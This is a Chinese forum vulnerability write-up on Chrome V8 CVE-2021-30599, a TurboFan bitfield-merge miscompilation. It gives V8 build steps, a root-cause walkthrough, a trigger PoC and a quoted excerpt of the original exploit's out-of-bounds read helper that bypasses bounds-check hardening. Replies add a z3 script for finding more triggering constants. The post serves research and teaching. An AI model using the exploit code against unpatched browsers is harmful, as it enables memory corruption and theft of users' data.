首页
论坛
课程
招聘
[原创]Chrome v8 issue 1234770( CVE-2021-30599)漏洞分析
2021-11-18 10:55 17020

[原创]Chrome v8 issue 1234770( CVE-2021-30599)漏洞分析

2021-11-18 10:55
17020

环境:Ubuntu 18.04

GDB

V8 9.0.257.23

1:写在前面

1.1: Windows上安装google产品编译环境:

一般情况下,在Ubuntu上安装软件总是比在Windows上安装要麻烦一点,但是在安装Google家产品的编译环境时,情况则恰恰相反,一般是在Windows环境上会比在Ubuntu上麻烦一些。

究其原因个人认为有以下两个,

第一:Ubuntu上安装google产品编译环境的相关资料(无论英文还是中文)都比在Windows上的相关安装资料要容易找。

第二:Windows上配合代理下拉google的东西时,因为要使用代理的原因,总是会碰到奇奇怪怪的问题,这些问题还很难在网上找得到,即使在google官方搜到这问题的提问,google官方给的回复也是把代理关了。关键是关了代理我还怎么下拉他的东西,碰到这些难题时可能就要自己研究他的下拉脚本,这算是研究google家产品的天朝中人会碰到的独特的难题了。

       

                                                               图 1.1.1

1.2:Windows上编译v8和Chromium

图1.1.1是我在Windows上挂代理下拉v8时碰到的问题,反正网上对这个问题的解答是奇奇怪怪,五花八门,说什么的都有,让人越看越迷茫。我这里的解决方案是指定HTTP为HTTP/1.1协议,详细的设置命令可以看1.2.3部分。


下面内容为下拉v8和编译的详细步骤:

1.2.1 安装编译工具

如果是编译v8,则安装vs2019 和Windows 10 SDK,(version 10.0.19041 以上的版本)就可以了,如果是编译Chromium,需要在vs2019中添加一些别的组件,添加这些组件的相关命令如下。 

$ PATH_TO_INSTALLER.EXE ^

--add Microsoft.VisualStudio.Workload.NativeDesktop ^

--add Microsoft.VisualStudio.Component.VC.ATLMFC ^

--add Microsoft.VisualStudio.Component.VC.Tools.ARM64 ^

--add Microsoft.VisualStudio.Component.VC.MFC.ARM64 ^

--includeRecommended

本人的环境是将v8和vs2019都安装在虚拟机C盘下。

1.2.2 glient命令初始化

第一步:

架上代理,开启全局模式,或者在控制台设置代理,控制台设置代理命令如下。

set https_proxy=http://192.168.17.1:7890(IP和端口设置为你的代理服务器的IP和端口)

set http_proxy=http://192.168.17.1:7890

第二步:

下载depot_tools,解压在你想要安装的盘下,并把他安装路径加在环境变量中,这里有个细节要注意,需要把deptot_tool这个环境变量上移到环境变量顶部:

          

                                                      图:1.2.2.1

第三步:

在控制台上输入gclient命令,这个命令会帮你自动安装符合现在v8和Chrome要求的python和git版本。

如果没有出现意外的话会出现以下log:

C:\Users\XXX>gclient

Downloading CIPD client for windows-amd64 from https://chrome-infra-packages.appspot.com/client?platform=windows-amd64&version=git_revision:8e9b0c80860d00dfe951f7ea37d74e210d376c13...

WARNING: Your metrics.cfg file was invalid or nonexistent. A new one will be created.

Usage: gclient.py <command> [options]


Meta checkout dependency manager for Git.


Commands are:

  config   creates a .gclient file in the current directory

  diff     displays local diff for every dependencies

  fetch    fetches upstream commits for all modules

  flatten  flattens the solutions into a single DEPS file

  getdep   gets revision information and variable values from a DEPS file

  grep     greps through git repos managed by gclient

  help     prints list of commands or help for a specific command

  metrics  reports, and optionally modifies, the status of metric collection

  pack     generates a patch which can be applied at the root of the tree

  recurse  operates [command args ...] on all the dependencies

  revert   reverts all modifications in every dependencies

  revinfo  outputs revision info mapping for the client and its dependencies

  root     outputs the solution root (or current dir if there isn't one)

  runhooks runs hooks for files that have been modified in the local working copy

  setdep   modifies dependency revisions and variable values in a DEPS file

  status   shows modification status for every dependencies

  sync     checkout/update all modules

  validate validates the .gclient and DEPS syntax

  verify   verifies the DEPS file deps are only from allowed_hosts


Options:

  --version             show program's version number and exit

-h, --help            show this help message and exit

  -j JOBS, --jobs=JOBS  Specify how many SCM commands can run in parallel;

                        defaults to 8 on this machine

  -v, --verbose         Produces additional output for diagnostics. Can be

                        used up to three times for more logging info.

  --gclientfile=CONFIG_FILENAME

                        Specify an alternate .gclient file

  --spec=SPEC           create a gclient file containing the provided string.

                        Due to Cygwin/Python brokenness, it can't contain any

                        newlines.

  --no-nag-max          Ignored for backwards compatibility.

 

这样就完成了python和git环境的搭建。

1.2.3:下拉v8的参数设置:

完成上述步骤以后在控制台输入如下命令:

git config --global http.sslVerify false

set GYP_DEFINES=target_arch=x64

set DEPOT_TOOLS_WIN_TOOLCHAIN=0

set GYP_GENERATORS=msvs-ninja,ninja

set GYP_MSVS_VERSION=2019

git config --global http.version HTTP/1.1

然后:mkdir v8 && cd v8

fetch v8

git reset --hard bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07(换成你需要的版本)

gclient sync

这里执行完以后就顺利在Windows 10上,下拉到指定版本的v8了。

1.2.4:编译v8

下拉后开始编译v8,命令如下:

# 提供默认的gn参数给args.gn文件,帮助我们编译出debug版本和release版本

 python tools\dev\v8gen.py x64.release

 python tools\dev\v8gen.py x64.debug

 # 自动编译

 python tools\dev\gm.py x64.debug d8

 python tools\dev\gm.py x64.release d8

将编译出d8.exe到out文件夹中

至于为什么在Windows上编译v8和Chromium,本人的主要原因是想着在Windows上比较方便用IDA看v8和Chromium的符号。

2:漏洞原因分析

2.1:漏洞代码位置:

该漏洞属于v8 优化(turbofan)的漏洞。

位于`src/compiler/machine-operator-reducer.cc` 文件MachineOperatorReducer类中

关于turbofan的知识可以参考

https://v8.dev/docs/turbofan


这次漏洞出现在比特位运算的优化中,对((x&A)==B)&((x&C)==D)这种结构的优化

2.2:漏洞代码:

  ```
  static base::Optional<BitfieldCheck> Detect(Node* node) {
  // There are two patterns to check for here:
  // 1. Single-bit checks: `(val >> shift) & 1`, where:
  // - the shift may be omitted, and/or
  // - the result may be truncated from 64 to 32
  // 2. Equality checks: `(val & mask) == expected`, where:<------这里
  // - val may be truncated from 64 to 32 before masking (see<------还有这里,漏洞产生的第一步
    // ReduceWord32EqualForConstantRhs)
   if (node->opcode() == IrOpcode::kWord32Equal) {
       Uint32BinopMatcher eq(node);
   if (eq.left().IsWord32And()) {
       Uint32BinopMatcher mand(eq.left().node());
   if (mand.right().HasResolvedValue() && eq.right().HasResolvedValue()) {
       BitfieldCheck result{mand.left().node(), mand.right().ResolvedValue(),
   eq.right().ResolvedValue(), false};
   if (mand.left().IsTruncateInt64ToInt32()) {
         ...
   }
         return result;
   }
   }
   } else {
              ...
   }
         return {};
   }
    ```
    ```
  base::Optional<BitfieldCheck> TryCombine(const BitfieldCheck& other) {
        if (source != other.source ||
        truncate_from_64_bit != other.truncate_from_64_bit)
        return {};
        uint32_t overlapping_bits = mask & other.mask;
    // It would be kind of strange to have any overlapping bits, but they can be
    // allowed as long as they don't require opposite values in the same
    // positions.
       if ((masked_value & overlapping_bits) !=
       (other.masked_value & overlapping_bits))<--------这个判断如果为false,就会合并,否则就不合并。漏洞产生的第二步
       return {};<---------不合并
       return BitfieldCheck{source, mask | other.mask,<---------合并
       masked_value | other.masked_value,
       truncate_from_64_bit};
}

上述两个产生漏洞的函数:

      第一个函数Detect(Node* node)是会将‘((x&A)==B)’ (A,B为常数,x为变量) 这种节点截断为Word32类型的节点,这点通过注释就能看到。

      第二个函数TryCombine(const BitfieldCheck& other)是对两个Word32节点进行`Word32And`的运算的,进行尝试合并为一个Word32节点。

 因为第一个函数Detect(Node* node)会将‘((x&A)==B)’这种节点标记为Word32类型,故而如果存在两个这种节点进行And运算,就会进入TryCombine(const BitfieldCheck& other)这个函数处理流程,尝试将这两个Word32节点合并为一个Word32节点。

 具体一点来说如果出现’((x&A)==B)&((x&C)==D)’这种节点,因为Detect(Node* node)会将(x&A)==B)‘子节点和’((x&C)==D)‘子节点标记为Word32节点,接下来就会进入TryCombine(const BitfieldCheck& other)这个函数流程,将(x&A)==B)‘子节点和’((x&C)==D)‘子节点会进行尝试合并,如果通过条件判断,就会合并为一个新的’(x&E)==F’节点代替原有的’((x&A)==B)&((x&C)==D)’节点。

里面常数A,B,C,D,E,F互相可能相等,也可能不相等。


2.2.1:v8对’((x&A)==B)&((x&C)==D)’节点的尝试合并

按照漏洞提交者Manfred Paul给出的解释是: 

A) v8 turbofan要对‘((x&A)==B)&((x&C)==D)’这种节点做合并判断时,正确的做法是对‘((x&A)==B)’((x&C)==D)两个子节点数是否为satisfiable(原文的说法)都做判断,只有当两个子节点都为satisfiable时,才能进行合并。

如果'(x&A)==B'这个节点里A,B存在公用的比特位(例如A为1,B为3,1和3在二进制表示中,最低位都是1,这种情况叫有公共比特位),则称’(x & A) == B’这个节点为satisfiable,否则就称该节点为unsatisfiable

举例来说:

’(x & A) == B’,A==1,B==3时:

    1--->00000000000000000000000000000001

    3--->00000000000000000000000000000011

因为有共有标志位00000000000000000000000000000001

称’(x & A) == B’这个结构为satisfiable

而当’(x & C) == D’,C==1,D==2时

    1--->00000000000000000000000000000001

    2--->00000000000000000000000000000010

因为这两个数没有共有标志位

就会称’(x & C) == D’ 这个结构为unsatisfiable

按这个推论(x&1==3)&(x&1==2)这种组合就不能合并

所以Manfred Paul给出的合并的正确过程为:

假设源表达式为’((x&A)==B)&((x&C)==D)

如果’((x&A)==B)’和‘((x&C)==D)‘都为satisfiable,两个节点就会产生合并,否则不合并。

合并的算法为’(x&(A|C)==(B|D))’ =>’(x&E==F)’,并用这个(x&E==F)节点代替原来的’((x&A)==B)&((x&C)==D)’节点。

      B)然而实际上v8并不是遵循这个做法。而是对整个’((x&A)==B)&((x&C)==D)’结构的overlapping_bitsmasked_value这两个参数来判断,实现的逻辑并不严谨。

2.2.2:漏洞函数对overlapping_bits和masked_value的判断:

        uint32_t overlapping_bits = mask & other.mask;

// It would be kind of strange to have any overlapping bits, but they can be

// allowed as long as they don't require opposite values in the same

// positions.

       if ((masked_value & overlapping_bits) !=

       (other.masked_value & overlapping_bits))

这里看下源代码,可以找到source,mask和masked_value的定义,在1699行注释里面。

     

                                                               图2.2.2.1

也就是说对于’((x&A)==B)&((x&C)==D)’节点

      ’((x&A)==B)’为Node

      ’((x&C)==D)’节点为other

      source=x

      mask=A

      mask_value=B

      other.mask=C

      other.mask_value=D

      overlapping_bits = mask & other.mask;=>A&C

      if ((masked_value & overlapping_bits) !=(other.masked_value & overlapping_bits))=>if((B&(A&C))!=(D&(A&C)))

这个if()里面的判断逻辑有个特点,就是只要overlapping_bits为0,也就是说如果’((x&A)==B)&((x&C)==D)’节点里面的A和C没有公共标志位,就肯定会返回false,跳过判断,执行后面的优化,这判断逻辑显然有问题。

例如在poc中的`(a & 1) == 1` 和`(a & 2) == 1`两个结构的合并的判断过程:

     mask=1

     other.mask=2

     mask_value=1

     other.mask_value=1

     overlapping_bits=mask&other.mask=>1&2=>0

     (masked_value & overlapping_bits) !=(other.masked_value & overlapping_bits)=>(1&0)!=(1&0)=>flase

结果就会越过if((masked_value & overlapping_bits) !=(other.masked_value & overlapping_bits))判断,然后出现合并。

      最终按照前面的合并公式变为:(a&(1|2)==1|1)=>(a&3==1)

3:poc的分析

3.1:关于poc

   function foo(a) {
      return ((a & 1) == 1) & ((a & 2) == 1);
   }
   console.log(foo(1));
   for (var i = 0; i < 3e4; i++) foo(1);
   console.log(foo(1));

输出的结果为0,1

poc这里给出的是((a & 1) == 1) & ((a & 2) == 1);这样的运算,根据上一节的分析,这个运算会优化成(a&3)==1。

3.2:turbofan验证

直接看优化的结果,翻到v8.TFEarlyOptimization 62

                                                                        图 3.2.1

                                                                          图 3.2.2

可以看到这个运算优化出现在EarlyOptimization阶段,并且((a & 1) == 1) & ((a & 2) == 1)在这个阶段合并变成了((a & 3) == 1),优化后的效果就是foo(a)变成

function foo(a) {

         return ((a & 3) == 1);

}

foo(1)=>就会变成1。


而原先的

function foo(a) {

       return ((a & 1) == 1) & ((a & 2) == 1);

}

foo(1)=>0为0;

显然这是错误的优化结果。

但是当我这里尝试漏洞提交者Manfred Paul原文举例的两个组合时却出现问题:


                                                                图:3.2.3

这里用((a & 1) == 2) & ((a & 2) == 1)和((x&0)==1)&((x&1)==1)两个组合分别进行试验:

【组合1】

     function foo(a) {
      return ((a & 1) == 2) & ((a & 2) == 1);//=>预测优化为(x&3)==3
      }
     console.log(foo(3));
     for (var i = 0; i < 3e4; i++) foo(3);
     console.log(foo(3));

【组合2】

     function foo(a) {
      return ((a & 0) == 1) & ((a & 1) == 1);//=>预测优化为(x&1)==1
     }
     console.log(foo(1));
     for (var i = 0; i < 3e4; i++) foo(1);
     console.log(foo(1));

    如果按照漏洞提交者Manfred Paul的说法,【组合1】【组合2】优化后应该出现 (x&3)==3和(x&1)==1的合并结果,那对应的输出结果应该为0,1。但我这里尝试这两个组合的时候,输出的结果都为0,0,说明漏洞根本没有触发成功。

查看了一下turbofan图表查询优化结果:

                                                                         图 3.2.4

发现这里可以看出【组合1】((x&1)==2)&((x&2)==1)优化结果为((x&2)==1)&false),而【组合2】((x&0)==1)&((x&1)==1)优化结果为为((x&1)==1)&false),也就是说【组合1】的((x&1)==2)和【组合2】((x&0)==1)这两个节点在EarlyOptimization阶段之前就已经被直接优化出了结果,没有再进入漏洞函数的流程。这和漏洞提交者Manfred Paul文中预测结果不同……


推测其原因还是和常数的选择问题,((x&A)==B)这种结构,并不是A,B为任意常数组合都会选择这个优化路径。有些组合情况下会在v8.TFEarlyOptimization之前就提前优化出了结果,也就不会进入这个漏洞的流程。

4:关于漏洞利用

4.1:Manfred Paul的利用方式

漏洞提交者Manfred Paul的exp,他自己新找了一种方式防止绕过check bounds elimination hardening缓解机制。同时做了大量工作,防止出现常量折叠等影响漏洞利用的情况。(用的是不透明类型常量,During LoadElimination, this is replaced by a constant `0` node, enabling further optimizations),这里漏洞利用复杂程度真是超出想象,需要阅读大量源码才能明白为什么这么做,不过Manfred Paul有对这些内容进行解释,我这里不做太多解释,有兴趣的可以去看看原文。

4.11:举例信息泄露部分:

function fake_obj_helper(arg_true, a, val) { 
    let o = {c0: 0, cf: false};
    let x = ((a&5)==2)|0;
    let y = ((a&6)==1)|0;
    用了两个这种结构,这里用的|0,是为了将结果的布尔型转换为数字,不会干扰bug,后面的一些列操作都是为了防止x和y被优化出现常量折叠,无法产生我们想要的(x & A) == B&(x & C) == D结构
    "a"[x];"a"[y]; // generate CheckBounds()
    x = x + (o.cf ? "" : (2**30) - (o.c0&1)) - (2**30); // type is Range(-1,0), but only after LoadElimination
    y = y + (o.cf ? "" : (2**30) - (o.c0&1)) - (2**30);
    
    x = Math.min(2**32-1, x + (2**32-1)) - (2**32-1); // type is Range(-1,0) already during Typer
    y = Math.min(2**32-1, y + (2**32-1)) - (2**32-1);
    let confused = Math.max(-1,x & y); // type is Range(..., 0), really is 1
    这里x&y就构造除了相当于poc中的运算,((a&5)==2)&((a&6)==1),a的数字选择为3,实现漏洞触发
    confused = Math.max(-1, confused); // type is Range(-1, 0), really is 1
    confused = ((0-confused)>>31); // type is Range(0, 0), really is -1
/**bypass typer hardening**/
    let arr = new Array(3+30*(1+confused));
    arr[0] = 0; // make aure we are a smi/object-array
    let arr2 = new Array(5);    for (var idx = 0; idx < 5; idx+=1) arr2[idx]=0.0; // make sure arr2 is a double-typed array
    arr2[0] = val;
    let iter = arr[Symbol.iterator]();
    // skip elements of arr:
    iter.next();iter.next();iter.next();
    // skip over arr2's header (need two skips as arr is 32-bit sized):
    iter.next();iter.next();
    // read first half of arr2[0] contents:
    let v1 = iter.next();
    return v1.value;
}

该Exp本质构造的是((a&5)==2)&((a&6)==1)这个结构,来触发漏洞,我们这里直接用这对常数测试一下:

                                                              图 4.2.1

                                                              图 4.2.2

                                                            图 4.2.3

结果被合并为((a&7)==3),当a输入3时,返回的就是true。显然也是触发了漏洞


参考:

https://chromium.googlesource.com/chromium/src/+/HEAD/docs/windows_build_instructions.md

https://bugs.chromium.org/p/chromium/issues/detail?id=1234770&q=component%3ABlink%3EJavaScript%20%20Type%3DBug-Security%20Security_Severity%3DHigh&can=1

https://xz.aliyun.com/t/9014

https://github.com/singularseclab/Slides/blob/main/2021/chrome_exploitation-zer0con2021.pdf




【公告】看雪团队招聘安全工程师,将兴趣和工作融合在一起!看雪20年安全圈的口碑,助你快速成长!

最后于 2021-11-18 16:17 被苏啊树编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (5)
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
18f 活跃值 2021-11-21 10:33
2
0
感谢分享, 补充一点其它细节.

1. 那个地方其它样例不行是因为之前会做一个 range analysis(v8 好像叫做 typer-optimization...), 然后节点被直接折叠成 false节点了... 要避免这种情况 num&b == c, 需要保持 b >= c.
2. root cause那里如果是对数学推导不大熟悉的同学(因为我当时推导到某个case老是推不下去...), 可以尝试使用 z3来帮助完成数据构建. 可以找到一堆额外的反例, 比如:" let res = (((num & 24) == 17 ) & ((num & 21) == 17 ));  //  optimize error" 不过作者提到的satisfied 是我没接触过的内容, 感恩.
雪    币: 2802
活跃值: 活跃值 (1618)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
苏啊树 活跃值 3 2021-11-21 15:43
3
0
18f 感谢分享, 补充一点其它细节. 1. 那个地方其它样例不行是因为之前会做一个 range analysis(v8 好像叫做 typer-optimization...), 然后节点被直接折叠成 ...
仔细看作者是说如果有可能发生的话,所以那两个例子其实没有验证。。。。您这里提到的这构建方法我也不太懂,感谢分享
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
18f 活跃值 2021-11-21 18:21
4
0
苏啊树 仔细看作者是说如果有可能发生的话,所以那两个例子其实没有验证。。。。您这里提到的这构建方法我也不太懂,感谢分享

x, y1, y2, z1, z2 = BitVecs('x y1 y2 z1 z2', 32)

s = Solver()

m = y1 & y2

s.add((z1 & m) == (z2 & m))

a = ((x & y1) == z1)
b = ((x & y2) == z2)
c1 = (x & (y1 | y2))
c2 = (z1 | z2)

s.add(y1 > z1)
s.add(y2 > z2)

s.add(y1 == 24)  // [+] 这里可以替换不写也没关系

s.add(And(a , b) == False)
s.add(c1 == c2)

# exit()

print(s.check())
print(s.model())

把他的源码抽象成数学公式 用这个求解就可以了
雪    币: 284
活跃值: 活跃值 (4361)
能力值: (RANK:310 )
在线值:
发帖
回帖
粉丝
0x2l 活跃值 4 2021-11-22 10:32
5
0
18f x, y1, y2, z1, z2 = BitVecs('x y1 y2 z1 z2', 32) s = Solver() m = y1 & y2 s.add((z1 & ...
不错,不愧是18f
雪    币: 2802
活跃值: 活跃值 (1618)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
苏啊树 活跃值 3 2021-11-22 10:41
6
0
18f x, y1, y2, z1, z2 = BitVecs('x y1 y2 z1 z2', 32) s = Solver() m = y1 & y2 s.add((z1 & ...
感谢大佬解答
游客
登录 | 注册 方可回帖
返回